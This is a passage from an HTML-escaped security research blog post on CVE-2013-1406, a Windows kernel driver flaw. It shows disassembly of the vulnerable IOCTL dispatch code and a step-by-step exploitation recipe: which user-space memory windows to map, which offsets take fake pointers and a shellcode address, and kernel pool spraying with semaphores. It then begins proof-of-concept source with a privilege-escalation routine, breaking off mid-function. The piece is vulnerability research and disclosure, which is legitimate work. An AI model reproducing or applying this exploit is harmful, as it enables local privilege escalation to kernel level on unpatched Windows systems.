.text:0001B2B4 &amp;nbsp; &amp;nbsp; DispatchChunk &amp;nbsp; proc near &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ; CODE XREF: PatchedOne+78&lt;br /&gt;
.text:0001B2B4 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ; UnsafeCallToPatchedThree+121&lt;br /&gt;
.text:0001B2B4&lt;br /&gt;
.text:0001B2B4 &amp;nbsp; &amp;nbsp; pChunk &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;= dword ptr &amp;nbsp;8&lt;br /&gt;
.text:0001B2B4&lt;br /&gt;
.text:0001B2B4 000 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp; edi, edi&lt;br /&gt;
.text:0001B2B6 000 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; push &amp;nbsp; &amp;nbsp;ebp&lt;br /&gt;
.text:0001B2B7 004 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp; ebp, esp&lt;br /&gt;
.text:0001B2B9 004 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; push &amp;nbsp; &amp;nbsp;ebx&lt;br /&gt;
.text:0001B2BA 008 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; push &amp;nbsp; &amp;nbsp;esi&lt;br /&gt;
.text:0001B2BB 00C &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp; esi, [ebp+pChunk]&lt;br /&gt;
.text:0001B2BE 00C &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp; eax, [esi+208h]&lt;br /&gt;
.text:0001B2C4 00C &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; xor &amp;nbsp; &amp;nbsp; ebx, ebx&lt;br /&gt;
.text:0001B2C6 00C &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; cmp &amp;nbsp; &amp;nbsp; eax, ebx&lt;br /&gt;
.text:0001B2C8 00C &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; jz &amp;nbsp; &amp;nbsp; &amp;nbsp;short CheckNullUserSize&lt;br /&gt;
.text:0001B2CA 00C &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; push &amp;nbsp; &amp;nbsp;eax &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ; P&lt;br /&gt;
.text:0001B2CB 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; call &amp;nbsp; &amp;nbsp;ProcessParam&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;; We won’t get here&lt;br /&gt;
.text:0001B2D0&lt;br /&gt;
.text:0001B2D0 &amp;nbsp; &amp;nbsp; CheckNullUserSize: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;; CODE XREF: DispatchChunk+14&lt;br /&gt;
.text:0001B2D0 00C &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; cmp &amp;nbsp; &amp;nbsp; [esi], ebx&lt;br /&gt;
.text:0001B2D2 00C &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; jbe &amp;nbsp; &amp;nbsp; short CleanupAndRet&lt;br /&gt;
.text:0001B2D4 00C &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; push &amp;nbsp; &amp;nbsp;edi&lt;br /&gt;
.text:0001B2D5 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; lea &amp;nbsp; &amp;nbsp; edi, [esi+8]&lt;br /&gt;
.text:0001B2D8&lt;br /&gt;
.text:0001B2D8 &amp;nbsp; &amp;nbsp; ProcessUserBuff: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;; CODE XREF: DispatchChunk+51&lt;br /&gt;
.text:0001B2D8 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp; eax, [edi]&lt;br /&gt;
.text:0001B2DA 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; test &amp;nbsp; &amp;nbsp;eax, eax&lt;br /&gt;
.text:0001B2DC 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; jz &amp;nbsp; &amp;nbsp; &amp;nbsp;short NextCycle&lt;br /&gt;
.text:0001B2DE 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; or &amp;nbsp; &amp;nbsp; &amp;nbsp;ecx, 0FFFFFFFFh&lt;br /&gt;
.text:0001B2E1 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; lea &amp;nbsp; &amp;nbsp; edx, [eax+38h]&lt;br /&gt;
.text:0001B2E4 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; lock xadd [edx], ecx&lt;br /&gt;
.text:0001B2E8 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; cmp &amp;nbsp; &amp;nbsp; ecx, 1&lt;br /&gt;
.text:0001B2EB 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; jnz &amp;nbsp; &amp;nbsp; short DerefObj&lt;br /&gt;
.text:0001B2ED 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; push &amp;nbsp; &amp;nbsp;eax&lt;br /&gt;
.text:0001B2EE 014 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; call &amp;nbsp; &amp;nbsp;UnsafeFire &amp;nbsp; &amp;nbsp; &amp;nbsp;; BANG!!!!&lt;br /&gt;
.text:0001B2F3&lt;br /&gt;
.text:0001B2F3 &amp;nbsp; &amp;nbsp; DerefObj: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ; CODE XREF: DispatchChunk+37&lt;br /&gt;
.text:0001B2F3 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp; ecx, [edi+100h] ; Object&lt;br /&gt;
.text:0001B2F9 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; call &amp;nbsp; &amp;nbsp;ds:ObfDereferenceObject&lt;br /&gt;
.text:0001B2FF&lt;br /&gt;
.text:0001B2FF &amp;nbsp; &amp;nbsp; NextCycle: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;; CODE XREF: DispatchChunk+28&lt;br /&gt;
.text:0001B2FF 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; inc &amp;nbsp; &amp;nbsp; ebx&lt;br /&gt;
.text:0001B300 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; add &amp;nbsp; &amp;nbsp; edi, 4&lt;br /&gt;
.text:0001B303 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; cmp &amp;nbsp; &amp;nbsp; ebx, [esi]&lt;br /&gt;
.text:0001B305 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; jb &amp;nbsp; &amp;nbsp; &amp;nbsp;short ProcessUserBuff&lt;br /&gt;
.text:0001B307 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pop &amp;nbsp; &amp;nbsp; edi&lt;br /&gt;
.text:0001B308&lt;br /&gt;
.text:0001B308 &amp;nbsp; &amp;nbsp; CleanupAndRet: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;; CODE XREF: DispatchChunk+1E&lt;br /&gt;
.text:0001B308 00C &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; push &amp;nbsp; &amp;nbsp;20Ch &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;; size_t&lt;br /&gt;
.text:0001B30D 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; push &amp;nbsp; &amp;nbsp;esi &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ; void *&lt;br /&gt;
.text:0001B30E 014 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; call &amp;nbsp; &amp;nbsp;ZeroChunk&lt;br /&gt;
.text:0001B313 00C &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; push &amp;nbsp; &amp;nbsp;'gksv' &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;; Tag&lt;br /&gt;
.text:0001B318 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; push &amp;nbsp; &amp;nbsp;esi &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ; P&lt;br /&gt;
.text:0001B319 014 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; call &amp;nbsp; &amp;nbsp;ds:ExFreePoolWithTag&lt;br /&gt;
.text:0001B31F 00C &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pop &amp;nbsp; &amp;nbsp; esi&lt;br /&gt;
.text:0001B320 008 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pop &amp;nbsp; &amp;nbsp; ebx&lt;br /&gt;
.text:0001B321 004 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pop &amp;nbsp; &amp;nbsp; ebp&lt;br /&gt;
.text:0001B322 000 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; retn &amp;nbsp; &amp;nbsp;4&lt;br /&gt;
.text:0001B322 &amp;nbsp; &amp;nbsp; DispatchChunk &amp;nbsp; endp&lt;/blockquote&gt;
The dispatch function was searching for a pointer to process. The processing included dereferencing some object and calling some function if an appropriate flag had been set inside the pointed structure. But since we had failed to allocate a structure to process, the dispatch function slid beyond the end of the first chunk. This processing leads to an access violation and a following BSOD when uncontrolled.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-VKGhft1mkdE/UTc1pz3u27I/AAAAAAAACmA/iSoxZNiOiKc/s1600/16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://4.bp.blogspot.com/-VKGhft1mkdE/UTc1pz3u27I/AAAAAAAACmA/iSoxZNiOiKc/s400/16.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;div style="text-align: center;"&gt;
IOCTL dispatch structure and the dispatcher behavior&amp;nbsp;&lt;/div&gt;
&lt;div style="text-align: left;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: left;"&gt;
So we’ve got a possible code execution at the controlled address:&lt;/div&gt;
&lt;/div&gt;
&lt;blockquote class="tr_bq"&gt;
.text:0001B946 &amp;nbsp; &amp;nbsp; UnsafeFire &amp;nbsp; &amp;nbsp; &amp;nbsp;proc near &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
.text:0001B946 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
.text:0001B946&lt;br /&gt;
.text:0001B946 &amp;nbsp; &amp;nbsp; arg_0 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; = dword ptr &amp;nbsp;8&lt;br /&gt;
.text:0001B946&lt;br /&gt;
.text:0001B946 000 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp; edi, edi&lt;br /&gt;
.text:0001B948 000 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; push &amp;nbsp; &amp;nbsp;ebp&lt;br /&gt;
.text:0001B949 004 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp; ebp, esp&lt;br /&gt;
.text:0001B94B 004 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp; eax, [ebp+arg_0]&lt;br /&gt;
.text:0001B94E 004 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; push &amp;nbsp; &amp;nbsp;eax&lt;br /&gt;
.text:0001B94F 008 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; call &amp;nbsp; &amp;nbsp;dword ptr [eax+0ACh]&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;; BANG!!!!&lt;br /&gt;
.text:0001B955 004 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pop &amp;nbsp; &amp;nbsp; ebp&lt;br /&gt;
.text:0001B956 000 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; retn &amp;nbsp; &amp;nbsp;4&lt;br /&gt;
.text:0001B956 &amp;nbsp; &amp;nbsp; UnsafeFire &amp;nbsp; &amp;nbsp; &amp;nbsp;endp&lt;/blockquote&gt;
&lt;b&gt;Exploitation&lt;/b&gt;&lt;br /&gt;
Since the chunk dispatch code slips beyond the chunk it is supposed to process, it meets the neighbor chunk or an unmapped page. If it falls into an unmapped memory, a BSOD occurs. But when it meets another pool chunk it tries to process a pool header interpreting it as a pointer.&lt;br /&gt;
&lt;br /&gt;
Consider x86 system. The four bytes the dispatcher function tries to interpret as a pointer are the previous block size, pool index, current block size and pool type flags. Since we know the size and a pool index used for the skipped chunk, we know the low word of a pointer:&lt;br /&gt;
&lt;br /&gt;
0xXXXX0043 – 0x43 is a size of a skipped chunk, thus becomes a previous size of a chunk in a neighbor. 0x0 is a pool index, which is guaranteed to be equal to 0, since non-paged pool used for the skipped chunk is the only one in the system. Notice that if the two adjacent chunks share the same pool page, they belong to the same pool type and index.&lt;br /&gt;
&lt;br /&gt;
The high word contains the block size, which we can’t predict and pool type flags which we can:&lt;br /&gt;
&lt;br /&gt;
B = 0 because the chunk is from the non-paged pool,&lt;br /&gt;
U = 1 because the is supposed to be in use,&lt;br /&gt;
Q = 0/1 the chunk might be quoted,&lt;br /&gt;
S = 0 because the pool is not the session one,&lt;br /&gt;
T = 0 pool tracking is likely to be disabled by default.&lt;br /&gt;
&lt;br /&gt;
The unused bits in the pool type field are equal to 0.&lt;br /&gt;
&lt;br /&gt;
So we’ve got the following memory windows valid for Windows 7 and Windows 8:&lt;br /&gt;
&lt;ol style="text-align: left;"&gt;
&lt;li&gt;0x04000000 – 0x06000000 for ordinary chunks&lt;/li&gt;
&lt;li&gt;0x14000000 – 0x16000000 for quoted chunks&lt;/li&gt;
&lt;/ol&gt;
Based on the provided information you can easily calculate memory windows for Windows XP and alike.&lt;br /&gt;
&lt;br /&gt;
As you can see, those memory ranges belong to the user space, so we are able to force the vulnerable dispatch function to execute a shellcode that we provide. In order to perform arbitrary code execution we have to map the calculated regions and meet the requirements of the dispatch function:&lt;br /&gt;
&lt;br /&gt;
1. Within the [0x43 + 0x38] place a DWORD value of 1 in order to meet the requirements of the following code:&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
.text:0001B2E1 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; lea &amp;nbsp; &amp;nbsp; edx, [eax+38h]&lt;br /&gt;
.text:0001B2E4 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; lock xadd [edx], ecx&lt;br /&gt;
.text:0001B2E8 010 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; cmp &amp;nbsp; &amp;nbsp; ecx, 1&lt;/blockquote&gt;
2.&amp;nbsp;Within the [0x43 + 0xAC] place a pointer to the function to be called, or simply the address of a shellcode.&lt;br /&gt;
&lt;br /&gt;
3.&amp;nbsp;Within the [0x43 + 0x100] place a pointer of a fake object to be dereferenced with ObfDereferenceObject() function. Notice that the reference count is taken from the object header, which is located at a negative offset to the object itself, so be sure that this function is not going to land on the unmapped region. Also provide a suitable reference count in order the ObfDereferenceObject() would not try to free the user-mode memory with the functions that are not suited for that.&lt;br /&gt;
&lt;br /&gt;
4.&amp;nbsp;Repeat this algorithm for every 0x10000 bytes.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-CG8eWDxrjnM/UTc2KQH3phI/AAAAAAAACmI/U1m95m96y5A/s1600/17.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="296" src="http://4.bp.blogspot.com/-CG8eWDxrjnM/UTc2KQH3phI/AAAAAAAACmI/U1m95m96y5A/s400/17.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
Everything has been done right!&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;Improving reliability of an exploit&lt;/b&gt;&lt;br /&gt;
Although we have developed a nice strategy of exploitation, it is still unreliable. Consider the case when the chunk after vulnerable one is freed. It is difficult to guess the state of this chunk fields. That means that although such chunk forms a pointer valid for the dispatch function (because it is not NULL) the result of the dispatching will lead to a BSOD. It is also true for the case when the dispatch function slides to an unmapped virtual address.&lt;br /&gt;
&lt;br /&gt;
Kernel pool spraying is very useful in this case. As a spraying object I chose semaphores since they could provide the closest chunk size to the one I needed. As a result this technique helped a lot improving the stability of an exploit.&lt;br /&gt;
&lt;br /&gt;
Remember that Windows 8 has a SMEP support, so it is a little bit more complicate to exploit due to the laziness of a shellcode developer. Writing a base-independent code and bypassing SMEP is left as an exercise for a reader.&lt;br /&gt;
&lt;br /&gt;
As for the x64 systems, the problem is that the pointer became 8 bytes in size. This means that a high DWORD of a pointer interpreted in the dispatch function falls on the pool chunk tag field. As far as most drivers and kernel subsystems user ASCII symbols for tagging, the pointer falls into non-canonical address space, so it can’t be used for exploitation. By this time I was unable to find a solution for this problem.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;In the end&lt;/b&gt;&lt;br /&gt;
I hope this article was useful for you, and I’m sorry that I could not fit all the needed information in a couple of paragraphs. I wish you good luck in researching and exploiting for the sake of making the things more secure.&lt;br /&gt;
&lt;br /&gt;

&lt;b&gt;Source Code:&lt;/b&gt;

&lt;pre style="background-color: white;"&gt;&lt;span style="color: dimgrey;"&gt;/*&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CVE-2013-1406 exploitation PoC&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;by Artem Shishkin,&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Positive Research,&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Positive Technologies,&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;02-2013&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;*/&lt;/span&gt;

&lt;span style="color: maroon; font-weight: bold;"&gt;void&lt;/span&gt; &lt;span style="color: maroon; font-weight: bold;"&gt;__stdcall&lt;/span&gt; FireShell&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;DWORD&lt;/span&gt; dwSomeParam&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
&lt;span style="color: purple;"&gt;{&lt;/span&gt;
    EscalatePrivileges&lt;span style="color: #808030;"&gt;(&lt;/span&gt;hProcessToElevate&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: dimgrey;"&gt;// Equate the stack and quit the cycle&lt;/span&gt;
&lt;span style="color: #004a43;"&gt;#&lt;/span&gt;&lt;span style="color: #004a43;"&gt;ifndef&lt;/span&gt;&lt;span style="color: #004a43;"&gt; _AMD64_&lt;/span&gt;
    &lt;span style="color: #004a43;"&gt;__asm&lt;/span&gt;
    &lt;span style="color: #808030;"&gt;{&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: navy;"&gt;ebx&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: navy;"&gt;edi&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: green;"&gt;0xFFFFFFF8&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: green;"&gt;0xA010043&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;
&lt;span style="color: #004a43;"&gt;#&lt;/span&gt;&lt;span style="color: #004a43;"&gt;endif&lt;/span&gt;
&lt;span style="color: purple;"&gt;}&lt;/span&gt;


&lt;span style="color: #603000;"&gt;HANDLE&lt;/span&gt; LookupObjectHandle&lt;span style="color: #808030;"&gt;(&lt;/span&gt;PSYSTEM_HANDLE_INFORMATION_EX pHandleTable&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #603000;"&gt;PVOID&lt;/span&gt; pObjectAddr&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #603000;"&gt;DWORD&lt;/span&gt; dwProcessID &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
&lt;span style="color: purple;"&gt;{&lt;/span&gt;
    &lt;span style="color: #603000;"&gt;HANDLE&lt;/span&gt;            hResult &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: #603000;"&gt;DWORD&lt;/span&gt;            dwLookupProcessID &lt;span style="color: #808030;"&gt;=&lt;/span&gt; dwProcessID&lt;span style="color: purple;"&gt;;&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;pHandleTable &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: #603000;"&gt;printf&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;Ain't funny&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;dwLookupProcessID &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        dwLookupProcessID &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #400000;"&gt;GetCurrentProcessId&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
